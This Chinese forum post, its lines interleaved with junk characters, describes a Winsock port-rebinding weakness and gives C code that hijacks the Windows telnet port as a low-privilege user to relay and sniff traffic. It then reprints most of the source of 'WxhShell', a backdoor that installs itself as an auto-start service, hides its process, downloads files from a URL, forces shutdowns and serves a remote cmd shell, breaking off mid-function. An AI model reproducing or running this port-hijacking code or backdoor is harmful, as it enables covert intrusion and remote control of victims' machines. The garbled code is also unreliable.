在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9HJrMX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
www#.D%'U tgeX~. saddr.sin_family = AF_INET;
nM]Sb|1: i~1bfl saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n~`1KC4 R<wPO-dX bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"`WcE/( @q8h'@sX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5MU-Eu|*> |KH9 81 这意味着什么?意味着可以进行如下的攻击:
NHI(}Ea|] 9*`(*>S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)o4B^kq Rb!V{jQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
D=ZH? d $"#2hVO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
mQ~0cwo) J9buf}C[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Xx)PyO O4Z_v%2M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
c-s A?q#| CSu}_$wC# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
p0r:U<& quky m3F 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<,:p?36 IZw>!KYG #include
:_,oD #include
J]m[0g7O_ #include
^/`W0kT #include
<Sn;k[M}d DWORD WINAPI ClientThread(LPVOID lpParam);
;&K
+x@ int main()
APR"%(xD# {
V:Z}cfR .7 WORD wVersionRequested;
* |dz.Tr DWORD ret;
3$TU2-x;g WSADATA wsaData;
Pjvzefp BOOL val;
B_ x?s SOCKADDR_IN saddr;
B)!ty" SOCKADDR_IN scaddr;
3 *g>kRMJ int err;
I=;.o> SOCKET s;
d[( } SOCKET sc;
]i)g!J8f- int caddsize;
gS
VWv9+ HANDLE mt;
D# Gf.c DWORD tid;
k1h>8z.Tg wVersionRequested = MAKEWORD( 2, 2 );
QGq8r> err = WSAStartup( wVersionRequested, &wsaData );
26K sP .- if ( err != 0 ) {
vAV{HBQ* printf("error!WSAStartup failed!\n");
?D?ldg return -1;
c04;2gR }
cOa){&u saddr.sin_family = AF_INET;
f6$$e+ q4xP<b^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4S7#B ]iq2_{q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
J? 4E Hl saddr.sin_port = htons(23);
z&Kh$ $)[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6o
cTQ}= {
fvNj5Vq: printf("error!socket failed!\n");
t(.jJ>|+* return -1;
Cx[Cst` }
n@PXC8} val = TRUE;
Hgk@I; //SO_REUSEADDR选项就是可以实现端口重绑定的
. l>. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!8@8 {
25H=RTw printf("error!setsockopt failed!\n");
G)8H9EV return -1;
pH/_C0e`7 }
7 ~9Lj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o+%($p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
b.#0{*/G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h~r&7G@[} }J0HEpn4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
1Pp2wpD4iC {
1x3>XN]a ret=GetLastError();
B'QcD printf("error!bind failed!\n");
3[cGSI"+ return -1;
QTmMj@R&( }
mrGfu:r listen(s,2);
h}n?4B~Gi while(1)
pkEx.R) {
-& T.rsp caddsize = sizeof(scaddr);
9?Q0O\&uP //接受连接请求
Zk<Y+! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
~(P\'H&(h if(sc!=INVALID_SOCKET)
_(J4 {
,: Z7P@
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/`+ubFXc if(mt==NULL)
16|miK[@ {
z`2Ais@ao printf("Thread Creat Failed!\n");
!JnxNIr&i| break;
W;^6=(&xn }
/=gU }
4Pkl()\c CloseHandle(mt);
byN4?3F }
+OeoA{-W closesocket(s);
xW+XN`77 WSACleanup();
:S=!]la0h return 0;
%h4|$ }
&.chqP(| DWORD WINAPI ClientThread(LPVOID lpParam)
Mp_SL^g| {
Ur,{ZGm SOCKET ss = (SOCKET)lpParam;
n|Gw?@CU7 SOCKET sc;
<qjolMO` unsigned char buf[4096];
iXD=_^^o . SOCKADDR_IN saddr;
:IRQouTf:, long num;
9HG" }CGZP DWORD val;
]~kgsI[E DWORD ret;
@jT=SFf //如果是隐藏端口应用的话,可以在此处加一些判断
|l673FcJ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
F,h}HlU saddr.sin_family = AF_INET;
5@yBUwMSj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
my*E7[ saddr.sin_port = htons(23);
^^kL.C Ym if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M6:$ 0(r {
l(uV@_3 printf("error!socket failed!\n");
ucX!6)Op return -1;
0khAi|PY }
*$9Rb2}kK val = 100;
$x;(C[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mExJ--} {
~'t+X ret = GetLastError();
-MuKeCgi return -1;
yPT\9"/ }
n*y@3. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?Suv.!wfLl {
eDL0Vw ret = GetLastError();
of0hJR return -1;
O+PRP"$g" }
KJCi4O& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
3 ,
nr*R! {
F?hGt]o printf("error!socket connect failed!\n");
b_GAK closesocket(sc);
LT6VZ,S closesocket(ss);
3TF'[(K= return -1;
p^U#1c }
M<cm] while(1)
PLs(+>H {
7^n{BsN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
eZ;DNZK av //如果是嗅探内容的话,可以再此处进行内容分析和记录
&d i=alvv1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
QI{<q< num = recv(ss,buf,4096,0);
@+(a{%~7y if(num>0)
6M X4h send(sc,buf,num,0);
;1L7+.A else if(num==0)
f$]ttU U break;
;7bY>zc(w num = recv(sc,buf,4096,0);
pb}4{]sI if(num>0)
Qm2(Z8Gh send(ss,buf,num,0);
sT+\
z else if(num==0)
#PZBh break;
D[bPm:\0M }
GL8 N!, closesocket(ss);
vH/Y]Am closesocket(sc);
Wm>AR? b return 0 ;
6I~{~YvB" }
<G#z;]N `]m/za%7 .9KW|(uW ==========================================================
4!0nM|~ VO+3@d: 下边附上一个代码,,WXhSHELL
l527>7 eT i*ji ==========================================================
4{J'p19 W!4xE #include "stdafx.h"
[Se0+\,& &{(8EvuDd #include <stdio.h>
s&~.";b
#include <string.h>
C!J6"j #include <windows.h>
jN^09T49 #include <winsock2.h>
qD/FxR-! #include <winsvc.h>
qr[+^*Ha #include <urlmon.h>
|4u?Q+k%% Mq2[^l!qu #pragma comment (lib, "Ws2_32.lib")
=OU]<% #pragma comment (lib, "urlmon.lib")
tx{tIw^2; B#9T6|2 #define MAX_USER 100 // 最大客户端连接数
AC9#!#
OGB #define BUF_SOCK 200 // sock buffer
}c-tvK1g #define KEY_BUFF 255 // 输入 buffer
ufWd)Q 5,1q% #define REBOOT 0 // 重启
d*TpHLm #define SHUTDOWN 1 // 关机
Afq?Ps+ BdZO$ALXL #define DEF_PORT 5000 // 监听端口
hg=BXe4: Il9pL~u #define REG_LEN 16 // 注册表键长度
Ro oem dCM #define SVC_LEN 80 // NT服务名长度
2e @zd\ i&dMX:fRd // 从dll定义API
L?(%
* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
smt6).o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
9Ucn
6[W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6X.lncE@p typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4$<-3IP, WxFrqUz // wxhshell配置信息
DG
$._ struct WSCFG {
n\Y|0\ B int ws_port; // 监听端口
HN*w(bROr char ws_passstr[REG_LEN]; // 口令
M1f^Lx int ws_autoins; // 安装标记, 1=yes 0=no
(W l5F
char ws_regname[REG_LEN]; // 注册表键名
g)Byd\DS char ws_svcname[REG_LEN]; // 服务名
+=bGrn>h char ws_svcdisp[SVC_LEN]; // 服务显示名
$&|*v1rH char ws_svcdesc[SVC_LEN]; // 服务描述信息
(mJqI)m8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ZP&"[_ int ws_downexe; // 下载执行标记, 1=yes 0=no
]8X Y"2b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$*{$90Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)2P4EEs[ {m/\AG)1I };
3 TN?yP) NgnHo\) // default Wxhshell configuration
+{j? +4(B struct WSCFG wscfg={DEF_PORT,
Pe !eID8 "xuhuanlingzhe",
LyB$~wZx~@ 1,
AE)<ee%\\ "Wxhshell",
wO y1i/oj "Wxhshell",
ZL`G<Mo;. "WxhShell Service",
{daNw>TH "Wrsky Windows CmdShell Service",
J(\"\Z "Please Input Your Password: ",
nr>g0_%m 1,
*Bt`6u.>e, "
http://www.wrsky.com/wxhshell.exe",
In0kP" "Wxhshell.exe"
nzTzc5
w };
W.ud<OKP90 zJ#e3o . // 消息定义模块
HB$*xS1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^ZFbp@#U char *msg_ws_prompt="\n\r? for help\n\r#>";
<4y1[/S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
>qjr7 vx char *msg_ws_ext="\n\rExit.";
?rQMOJR char *msg_ws_end="\n\rQuit.";
C9/?B: char *msg_ws_boot="\n\rReboot...";
Oah}7!a) char *msg_ws_poff="\n\rShutdown...";
6-#f1D 6 char *msg_ws_down="\n\rSave to ";
-uiZp ! r6Z&i^cMe char *msg_ws_err="\n\rErr!";
)}?'1ciHI char *msg_ws_ok="\n\rOK!";
| zj$p~ '
%OQd?MhL char ExeFile[MAX_PATH];
vZC2F int nUser = 0;
sb_>D`> HANDLE handles[MAX_USER];
qqSk*oH~ int OsIsNt;
GD|uU w&v_#\T SERVICE_STATUS serviceStatus;
Nora< SERVICE_STATUS_HANDLE hServiceStatusHandle;
FpfOxF6A3 O!sZMGF$p // 函数声明
]}F_nc2L int Install(void);
mY.[AIB int Uninstall(void);
!1dCk/D&)8 int DownloadFile(char *sURL, SOCKET wsh);
K(Otgp+zb int Boot(int flag);
pr/yDGia void HideProc(void);
G3 #c int GetOsVer(void);
IQdiVj int Wxhshell(SOCKET wsl);
GfY!~J void TalkWithClient(void *cs);
Aa.bE,W int CmdShell(SOCKET sock);
ZSYXUFz int StartFromService(void);
R|8)iW^ int StartWxhshell(LPSTR lpCmdLine);
DI**fywu[3 _=j0Y=/IF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1I KDp]SN VOID WINAPI NTServiceHandler( DWORD fdwControl );
*gu~7&yoP zF(I#|Vo // 数据结构和表定义
eqs.zL SERVICE_TABLE_ENTRY DispatchTable[] =
}9>W41 {
G(|ki9^@"9 {wscfg.ws_svcname, NTServiceMain},
r_I7Gd {NULL, NULL}
&K)c*'l };
Kw&J<H F^&_O*" // 自我安装
N4}/n int Install(void)
\Q?r+VZ {
`*8p T char svExeFile[MAX_PATH];
[st4FaQ36 HKEY key;
LnxJFc:1K strcpy(svExeFile,ExeFile);
p-y,OG O@'/B" & // 如果是win9x系统,修改注册表设为自启动
lzfaW-nu if(!OsIsNt) {
PR{?l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Qg C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C*b!E: RegCloseKey(key);
|9jeOV}/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9EK5#_L[= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C\j|+s RegCloseKey(key);
nxKV7d@R return 0;
5<GC }
V?t^ J7{' }
a"0Xam }
,sn
?V~) else {
35?et-=w s}uOht}
o // 如果是NT以上系统,安装为系统服务
PR|F-/o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
tz)aQ6p\X if (schSCManager!=0)
/G9wW+1 {
vXAO#'4tm% SC_HANDLE schService = CreateService
-[|R\'i (
{k%*j 4 schSCManager,
(q59cA w~X wscfg.ws_svcname,
5(^&0c>P wscfg.ws_svcdisp,
x?9rT 0D SERVICE_ALL_ACCESS,
Waj6.PCFm SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>u
,Ac: SERVICE_AUTO_START,
Fc M SERVICE_ERROR_NORMAL,
S4aN7.'Q svExeFile,
L%}k.)yev NULL,
b
lP@Cn2 NULL,
-hiG8%l5 NULL,
(,
/`*GC NULL,
2w>WS# NULL
?'Y\5n/*$ );
5 >S#ew if (schService!=0)
qT$;ZV
# {
S}f3b N CloseServiceHandle(schService);
<^c?M[j CloseServiceHandle(schSCManager);
<u]M):b3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ua\]]<hj" strcat(svExeFile,wscfg.ws_svcname);
$A]2Iw!& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[nZf4KN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
sG[v vm RegCloseKey(key);
{}kE=L5 return 0;
kU{+@MA; }
B9^@d }
o@*eC L= CloseServiceHandle(schSCManager);
AiKja>Fl< }
?~X*\ }
r6S-G{o %Hx8%G! return 1;
+z}O*,M"q }
:FB-GNd
mo+zq~,M // 自我卸载
NbgK#; int Uninstall(void)
]^j:}#R {
H3\4&q HKEY key;
HHVCw7r0 ZeM~13[ if(!OsIsNt) {
cq:<,Ke if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}p,#rOX:A RegDeleteValue(key,wscfg.ws_regname);
r& RegCloseKey(key);
[hzw..?g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-': ;0 RegDeleteValue(key,wscfg.ws_regname);
}
DQ<YF+ RegCloseKey(key);
*Z}^T:3iw} return 0;
! |4fww }
(5CdA1| }
dpAj9CX( }
= VIU
else {
^4MRG6G QAGR\~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pHKcKqB*13 if (schSCManager!=0)
CCoT {
p+x}$&<| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~dc
o if (schService!=0)
f2h`bO {
;c tPe[5 if(DeleteService(schService)!=0) {
Q9T/@FX CloseServiceHandle(schService);
wFbw3>'a9 CloseServiceHandle(schSCManager);
B:mtl?69g return 0;
unX mMSz( }
vciO={M CloseServiceHandle(schService);
<Wrn/%tL }
,c]<Yu CloseServiceHandle(schSCManager);
S?Y%} }
r4MPs-}oF }
Cx~,wk;= ,"en7 return 1;
'kuLkM, }
]v2%h X P~}Yj@2 // 从指定url下载文件
F)8M9%g5m int DownloadFile(char *sURL, SOCKET wsh)
\u4`6EYF? {
P>U7RX
e HRESULT hr;
\wR;N/tg char seps[]= "/";
kR0/jEz
C char *token;
(e"\%p` char *file;
/Fj*sS8 char myURL[MAX_PATH];
,gO(zI-1 char myFILE[MAX_PATH];
F[q)ME+`) ZrNBkfe: strcpy(myURL,sURL);
U{,:-R token=strtok(myURL,seps);
QnJd}(yN while(token!=NULL)
=w;~1i%.k {
~'#yH#o file=token;
]mR!-Fqj token=strtok(NULL,seps);
50`=[l`V }
)+ (GE 1j_
6Sw( GetCurrentDirectory(MAX_PATH,myFILE);
$Wn!vbL strcat(myFILE, "\\");
GT 5J` strcat(myFILE, file);
230ijq3YG send(wsh,myFILE,strlen(myFILE),0);
`E2RW{$A send(wsh,"...",3,0);
2{|mL`$04< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f0@4>\g if(hr==S_OK)
0`QF: return 0;
2cQG2N2* else
fB=j51Lw return 1;
frRO? =#T3p9 }
1|WrJ-Uf /l` "@ // 系统电源模块
nV/;yl4e{
int Boot(int flag)
exxH0^ {
VQ7A"&hh HANDLE hToken;
dZkj|Ua~ TOKEN_PRIVILEGES tkp;
@bIZ0tr4 HSj=g}r if(OsIsNt) {
rVM?[_'O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ne|N!!Dmk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KY+BXGW* tkp.PrivilegeCount = 1;
9j>LU<Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[_-[S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)}to7r7` if(flag==REBOOT) {
3of0f{ZTj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
m\f}?t return 0;
UM}MK }
T4Io+b8$ else {
&PUn,9 Rm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}qg.Go return 0;
2gJkpf9JN }
s x2\ }
,CIsZ1[VS else {
bL2b^UB~% if(flag==REBOOT) {
H`OJN. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ey&gZ$|& return 0;
AGV+Y6 }
'3]M1EP else {
@r/f if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
lnnT_[ni. return 0;
MI,kKi }
9+!"[ }
Gj&`+!\ W3A9uk6 return 1;
fjLS_Q
;h }
JgMYy,q8t lNx:_g:SrZ // win9x进程隐藏模块
-] `OaL! void HideProc(void)
-"5r-q q* {
~m&q@ms& ]5+<Rqdbg HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;v m$F251 if ( hKernel != NULL )
_)MbvF {
8B;HMD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
"bA8NQIP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(3N;- FreeLibrary(hKernel);
v4VP7h6uD) }
/=g$_m@yWI c=<5DC&p return;
<nJ8%aY, }
1? Im" ]L_h3Xz\X // 获取操作系统版本
u.,l_D_ int GetOsVer(void)
C n.x:I@r {
94xWMX2 OSVERSIONINFO winfo;
1{?5/F \ + winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
J'@`+veE GetVersionEx(&winfo);
/EV _Y|(- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.NT9dX return 1;
#_'|
TT>p# else
d7qYz7=d return 0;
LIfYpn6 }
M5c~-}Ay 66|$X, // 客户端句柄模块
,Kwtp)EX int Wxhshell(SOCKET wsl)
ab^>_xD< {
_qsg2e}n SOCKET wsh;
x?RYt4 S struct sockaddr_in client;
Kd;)E 9Ti DWORD myID;
q1,jDJglZ 0%"sOth while(nUser<MAX_USER)
5'S~PQka* {
TyN]P a int nSize=sizeof(client);
P:fcbfH+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i]}`e>fF if(wsh==INVALID_SOCKET) return 1;
B-W8Zq#4> v-!^a_3Ui handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;lc/FV[/ if(handles[nUser]==0)
mcq.*at closesocket(wsh);
v6KRE3:V else
ws< (LH nUser++;
4Bk9d\z }
cCO2w2A[* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UHFI4{Wz ;P9cjfSn return 0;
`}S;_g! }
FS7@6I2Ts
$M| // 关闭 socket
^n9)rsb void CloseIt(SOCKET wsh)
ayrCLv {
nj6|WJ closesocket(wsh);
# b94S?dq nUser--;
Xhp={p; ExitThread(0);
IM=3n%6 }
&%r<_1 ~zhP[qA}) // 客户端请求句柄
^!rAT1(/_ void TalkWithClient(void *cs)
,_z"3B)] {
jW;g{5X s5J?,xu SOCKET wsh=(SOCKET)cs;
Mq52B_ char pwd[SVC_LEN];
T,/:5L9 char cmd[KEY_BUFF];
SSysOeD+ char chr[1];
7~!F3WT{ int i,j;
?g9oiOhnG ^=[b]*V while (nUser < MAX_USER) {
):7mK03J ,vB~9^~ if(wscfg.ws_passstr) {
hj,y l& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W]I+Rlv)U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c0QKx= //ZeroMemory(pwd,KEY_BUFF);
qh#?a' i=0;
JS^!XB'! while(i<SVC_LEN) {
T!Nv _&e$?hY // 设置超时
+*Zjo&pc fd_set FdRead;
N"A`tc5& struct timeval TimeOut;
N2.Ym;^ FD_ZERO(&FdRead);
).IK[5Q` FD_SET(wsh,&FdRead);
K#LDmC TimeOut.tv_sec=8;
47!k!cHa TimeOut.tv_usec=0;
eS/Au[wS int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
n!&F%|o^^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@ RP?)*8}& @t2S"s$m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_*++xF1 pwd
=chr[0]; 9QHV%%
if(chr[0]==0xd || chr[0]==0xa) { i-,_:z=J
pwd=0; eI1C0Uz1
break; -{ES 36
} T
3<2ds
i++; eFC~&L;
} `]F#j ]"
[:8+ +#KD
// 如果是非法用户,关闭 socket 1!;4I@W(I)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !q 9PO
} SW7AG;c=
` >[Offhd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^/)%s 3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #6@4c5{2=4
G
UK%RC8
while(1) { <OTx79m
g\pLQH
ZeroMemory(cmd,KEY_BUFF); h/]));p
dH)\zCt
// 自动支持客户端 telnet标准 Bo0f`EC I
j=0; ?%*p!m
while(j<KEY_BUFF) { OlM3G^1e1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 814cCrr,o
cmd[j]=chr[0]; *BKIA
if(chr[0]==0xa || chr[0]==0xd) { ~:99
)AOM
cmd[j]=0; U% OlYP$g
break; @s0 mX3P
} >dnDN3x
j++; hVh,\d&2t
} A'n{K#
"] ]aF1
// 下载文件 \S>GtlQbn
if(strstr(cmd,"http://")) { p. KT=dZT
send(wsh,msg_ws_down,strlen(msg_ws_down),0); *2
~"%"C
if(DownloadFile(cmd,wsh)) /%TL{k&m$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{6<,#P{w
else V`}u:t7r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bycnh
} M:oZk&cs
else { JtxitF2
bT`et*]
switch(cmd[0]) { VyWzb
pzb`M'Z?C
// 帮助 "Iacs s0;
case '?': { *9(E0"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); + aWcK6
break; _% i!LyG
} !UHX?<3r
// 安装 XRi37|p
case 'i': { 95Q^7oI
if(Install()) l_pf9!z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zA|)9Dq
else IGo+O*dMw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >XW-W
break; );{76
} gUme({h&|
// 卸载 zZP&`#TAy
case 'r': { W&7(
if(Uninstall()) "Rn@yZV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p ^Y2A
else Wz;@Rl|F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b{;LbHq+G
break; (V0KmNCW`
} iyr<qtwK
// 显示 wxhshell 所在路径 1z_1Hl
case 'p': { *S'?u_Y7
char svExeFile[MAX_PATH]; 5m\)82s
strcpy(svExeFile,"\n\r"); %-
Ga^[
strcat(svExeFile,ExeFile);
M,we,!B0
send(wsh,svExeFile,strlen(svExeFile),0); =]o2{d
break; Uurpho_~
} {Rn*)D9
// 重启 S$/SFB$)~W
case 'b': { YTg8Zg-Z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kArF Gb2c
if(Boot(REBOOT)) !w/]V{9`X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [d=BN ,?
else { 1jd.tup
closesocket(wsh); EjP)e;
ExitThread(0); sn+ kFvk}S
} J)sOne
break; &_' evZ8
} f7Gs1{
// 关机 /*Gbl
case 'd': { 'l3 DP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rp>%umDyL
if(Boot(SHUTDOWN)) HC"yC;_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ZuA._
else { L%Ms?`i,
closesocket(wsh); ,M
:j5
ExitThread(0); {ITxHt
} f DPLB[
break; W>u{JgY
} `:d\L
H
// 获取shell ]2_=(N\Kt
case 's': { $<L@B|}F)
CmdShell(wsh); %0vWyU:K9
closesocket(wsh); &&C'\,ZK5
ExitThread(0); T%E/k#
)q
break; {&J
OO
} 0Kg?X
// 退出 /&l4 sF1
case 'x': { I(j$^DA.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pz"}o#R"x
CloseIt(wsh); #Vy:6O
break; l!:L<B
} biRkqc;
// 离开 9[[$5t`8
case 'q': { /$9We8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); N9~'\O$'7
closesocket(wsh); <&tdyAT?&
WSACleanup(); V/RV,K1/
exit(1); (~fv;}}v
break; o* e'D7
} H`jnChD:M'
} UYzNaw4/x
} HrUE?Sq
N(P2Lo{JF
// 提示信息 Ao\Im(?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cI-@nV
} Kd*=-
} VFKFO9
SeLFubs_
return; m=a^t
} Hxn#vAc
)[ejb?{d
// shell模块句柄 dV
/Es
int CmdShell(SOCKET sock) 2SlI5+u
{ z`,dEGfh^
STARTUPINFO si; MjbgAH-
ZeroMemory(&si,sizeof(si)); t_+owiF)M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bk]g}s
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )5u#'5I>
PROCESS_INFORMATION ProcessInfo; \y+^r|IL
char cmdline[]="cmd"; t
;fJ`.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cv. j
return 0; EAz>`~
} m ;wj|@cF
^2i$AM1t
// 自身启动模式 M|R\[
Zf
int StartFromService(void) g+Y &rz
{ }0]iS8*tL
typedef struct WkV0,_(P
{ w|4CBll
DWORD ExitStatus; xpI8QV$#
DWORD PebBaseAddress; Ml/K~H
tN
DWORD AffinityMask; s.a @uR^
DWORD BasePriority; '@5x=>
ULONG UniqueProcessId; !E,|EdIr
ULONG InheritedFromUniqueProcessId; # wyjb:Ql
} PROCESS_BASIC_INFORMATION; SZ:R~4 A
Vddod
